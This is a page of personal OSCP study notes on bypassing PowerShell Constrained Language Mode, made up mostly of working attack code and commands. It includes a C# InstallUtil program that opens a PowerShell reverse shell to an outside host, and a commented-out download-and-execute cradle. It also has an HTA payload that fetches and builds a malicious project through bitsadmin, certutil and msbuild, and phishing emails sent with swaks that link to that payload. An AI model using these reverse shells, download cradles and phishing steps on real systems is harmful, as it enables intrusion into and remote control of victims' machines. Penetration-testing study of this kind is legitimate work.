> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/clm-bypass.md).
# CLM Bypass
Checking CLM
```powershell
$ExecutionContext.SessionState.LanguageMode
```
* `FullLanguage` → **No restrictions** (default for admin users).
* `RestrictedLanguage` → **Highly restricted**, only allows basic expressions.
* `ConstrainedLanguage` → **Blocks .NET, COM objects, and Reflection**, while allowing most built-in cmdlets.
[Unprivileged] Bypass Using InstallUtil (bypass_clm_rev_shell.exe)
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello from main");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
string rev = @"$client = New-Object System.Net.Sockets.TCPClient('192.168.45.198',53);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
try
{
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
}
catch
{
$error[0].ToString() + $error[0].InvocationInfo.PositionMessage;
$sendback2 = ""ERROR: "" + $error[0].ToString() + ""`n`n"" + ""PS "" + (pwd).Path + '> ';
}
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
};
$client.Close();";
//String cmd = "IEX(New-Object Net.WebClient).DownloadString('http://192.168.45.198/runall.ps1') | powershell -noprofile";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(rev);
ps.Invoke();
rs.Close();
}
}
}
In package manager console --> `NuGet\Install-Package Core.System.Configuration.Install -Version 1.1.0`
Also, need to add reference `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll`
Select Release & x64 version and build
### Exploitation
```bash
# Find full filepath of installutil:
dir \Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$
# Download CLM bypass reverse shell from Kali:
curl.exe http://192.168.45.198/bypass_clm_rev_shell.exe --output bypass_clm_rev_shell.exe
# Bypass clm with installutil:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "bypass_clm_rev_shell.exe"
# Obtain reverse shell
nc -lvp 53
```
### Exploiting via .hta file from email
# Encode bypass_clm_rev_shell with certutil
certutil -f -encode bypass_clm_rev_shell.exe enc.txt
* Rev.hta
```javascript
```
* Send Email to user
```bash
swaks --to mary@example.com --server 192.168.131.159 --body "Hello, check out my link. http://192.168.45.170/rev.hta" --header "Subject: Issues" --from bob@example.com
```
[Unprivileged] Bypass Using MsBuild (FullBypass.csproj)
In [FullBypass.csproj](https://raw.githubusercontent.com/n000b3r/PrivEsc/d2c98251012732790d19b2e390bb448a7b2bb15c/Windows/clm_bypass/FullBypass.csproj): edit line168 to use [runall.ps1 --> AMSI bypass (1.txt & 2.txt) --> simple\_ps\_revshell.ps1](https://n000b3r.gitbook.io/oscp-notes/exploitation/pages/7NOJkRVAAckKwxMGUMr9#simple-powershell-reverse-shell-with-amsi-bypass-simple_ps_revshell.ps1)
```
# Download to Victim machine
curl.exe http://192.168.45.198/FullBypass.csproj -o FullBypass.csproj
# Build the FullBypass C# project
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe .\FullBypass.csproj
# Obtain reverse shell
nc -lvp 53
```
### Exploiting via .hta from email
```
# Encode FullBypass.csproj with certutil
certutil -f -encode FullBypass.csproj enc.txt
```
* Rev.hta
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
// Using msbuild
var re = shell.Run("powershell -windowstyle hidden bitsadmin /Transfer newjob http://192.168.45.170/enc.txt c:\\windows\\temp\\enc.txt;certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\FullBypass.csproj;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe c:\\windows\\temp\\FullBypass.csproj")
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
* Send email to user
```
swaks --to mary@example.com --server 192.168.131.159 --body "Hello, check out my link. http://192.168.45.170/rev.hta" --header "Subject: Issues" --from bob@example.com
```
[Unprivileged] Custom InstallUtil Application Template
```csharp
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace InstallUtil_custom_exe
{
internal class Program
{
static void Main(string[] args)
{
Console.WriteLine("This is the main method which is a decoy");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
//Put DLLImports here
//End of DLLImports
public override void Uninstall(System.Collections.IDictionary savedState)
{
//Put custom code here
//End of custom code
}
}
}
```
In package manager console --> `NuGet\Install-Package Core.System.Configuration.Install -Version 1.1.0`
Also, need to add reference `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll`
[Unprivileged] CLM Bypass Using PSByPassCLM
* Emulate an interactive PowerShell console in a runspace unaffected by language mode
* Need to add reference
* ```powershell
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
```
* 
```csharp
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
using System.Text;
namespace PowerShellConstrainedLanguageBypass {
public class Program {
public static void Main(string[] args) {
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace);
runSpaceInvoker.Invoke("Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process");
string cmd = "";
do {
Console.Write("PS > ");
cmd = Console.ReadLine();
if (!string.IsNullOrEmpty(cmd)) {
using (Pipeline pipeline = runspace.CreatePipeline()) {
try {
pipeline.Commands.AddScript(cmd);
pipeline.Commands.Add("Out-String");
Collection results = pipeline.Invoke();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results) {
stringBuilder.AppendLine(obj.ToString());
}
Console.Write(stringBuilder.ToString());
}
catch (Exception ex) {
Console.WriteLine("{0}", ex.Message);
}
}
}
} while (cmd != "exit");
}
}
}
```
[Privileged] CLM Bypass By Removal of the Associated Registry Key
```powershell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" -name __PSLockdownPolicy -Value 8
```
Bypass CLM (Metasploit)
```bash
meterpreter > load powershell
meterpreter > powershell_execute $ExecutionContext.SessionState.LanguageMode
[+] Command execution completed:
FullLanguage
```